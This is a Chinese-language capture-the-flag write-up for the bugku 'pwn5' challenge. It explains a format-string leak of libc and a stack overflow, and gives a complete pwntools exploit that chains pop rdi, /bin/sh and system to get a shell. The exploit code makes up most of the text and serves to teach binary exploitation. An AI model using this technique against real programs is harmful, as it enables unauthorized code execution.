pwn5 - bugku
前言
2019年12月15日更新
學完ROP之後,重新做一下題目。bugku 5道 pwn 挺適合在學完 ROP 之後用來練習的。
網上對 pwn5 的 wp 視乎好像不是太詳細,就做一篇比較詳細解釋的。
或者說是基於橘小白wp的補充 XD
審計
看一下保護,只開了NX。
沒有危險函數,如system、getshell等
main 函數中存在兩個漏洞。首先是第10行的 printf 存在格式化字符串漏洞;其次是17行的 read 存在棧溢出。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+0h] [rbp-20h]
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
memset(&s, 0, 0x20uLL);
puts(&::s);
read(0, &s, 8uLL);
printf(&s, &s);
puts(&s);
puts(&s);
puts(&s);
puts(&byte_400978);
sleep(1u);
puts(asc_400998);
read(0, &s, 0x40uLL);
if ( !strstr(&s, &needle) || !strstr(&s, &dword_4009BA) )
{
puts(&byte_4009C8);
exit(0);
}
puts(&byte_4009F8);
return 0;
}
18 行的 if 滿足條件是第二次輸入值含有數組&needle
和&dword_4009BA
的內容。直接查看變量值(雙擊變量)是得不到任何字符,因爲裏面存儲的是中文,查看方法應該是選中變量後,打開 ida 的 hex view 窗口,並結合數組存儲的十六進制數查看。這裏就展示查看 needle:
利用思路
這道題目首先需要用格式化字符串漏洞泄露存儲在 rip 中 __libc_main 的地址,然後利用棧溢出覆寫 rip 爲 system 地址。
泄露libc
要泄露libc,就需要知道 rip 對於指針的偏移位置。而 rip 的偏移可以基於變量 s 的偏移計算出來。那麼是需要先找變量 s 的偏移。怎麼找,就不再造輪子了,現成輪子。
給出查找腳本:
#encoding:utf-8
from pwn import *
context.log_level = 'debug'
n = 1
while 1:
p = process("./human")
p.recvuntil("?\n")
p.sendline("aaaa%{}$p".format(n))
recv = p.recvuntil("?\n")
print recv
if '61616161' in recv:
break
else:
n += 1
得出 s 偏移爲 6。s 與 rbp 的距離是 0x20,那麼 rip 的偏移爲 11。
泄露出返回地址後,就需要基於這個地址計算出 system 的地址和 /bin/sh地址。由於題目沒有給出 libc.so 文件,那麼我們查詢程序調用的libc,並複製到目錄下。
>$ ldd human
linux-vdso.so.1 => (0x00007ffff7ffa000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7a0d000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd7000)
>$ cp /lib/x86_64-linux-gnu/libc.so.6 libc.so
還要注意一點的是,泄露出來的是__libc_start_main+240
,所以計算地址時,需要減去240。
棧溢出
程序是64位,也就是寄存器傳參。我們就利用 ROPgadget 查一下 libc.so 文件中 pop_rdi_ret 的地址。
ROPgadget --binary libc.so --only "pop|ret"
構造的 payload 需要含有 鴿子
、真香
,填充長度爲 0x28。然後依次 gadget、binsh、system。
EXP
#encoding:utf-8
from pwn import *
context.log_level = 'debug'
# 偏移計算
'''
n = 1
while 1:
p = process("./human")
p.recvuntil("?\n")
p.sendline("aaaa%{}$p".format(n))
recv = p.recvuntil("?\n")
print recv
if '61616161' in recv:
break
else:
n += 1
'''
p = process("./human")
#p = remote("114.116.54.89", "10005")
elf = ELF("./human")
libc = ELF("./libc.so")
pop_rdi = 0x400933 # ROPgadget查到的地址
gezi = "鴿子"
zhenxiang = "真香"
# leak __libc_start_main
print p.recvuntil("?\n")
p.send("%11$p")
main_addr = eval(p.recvuntil("%11$p",True))-240
log.info("main_addr = "+hex(main_addr))
# leak libc_base_addr
libc_addr = main_addr - libc.symbols['__libc_start_main']
log.info("main_addr = "+hex(libc_addr))
# leak system_addr
system_addr = libc_addr + libc.symbols['system']
log.info("system_addr = "+hex(system_addr))
# leak /bin/sh
binsh_addr = libc_addr + libc.search("/bin/sh").next()
log.info("binsh_addr = "+hex(binsh_addr))
# overflow
print p.recvuntil("還有什麼本質?")
payload = (gezi+zhenxiang).ljust(0x20+8,"A")
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
p.sendline(payload)
p.interactive()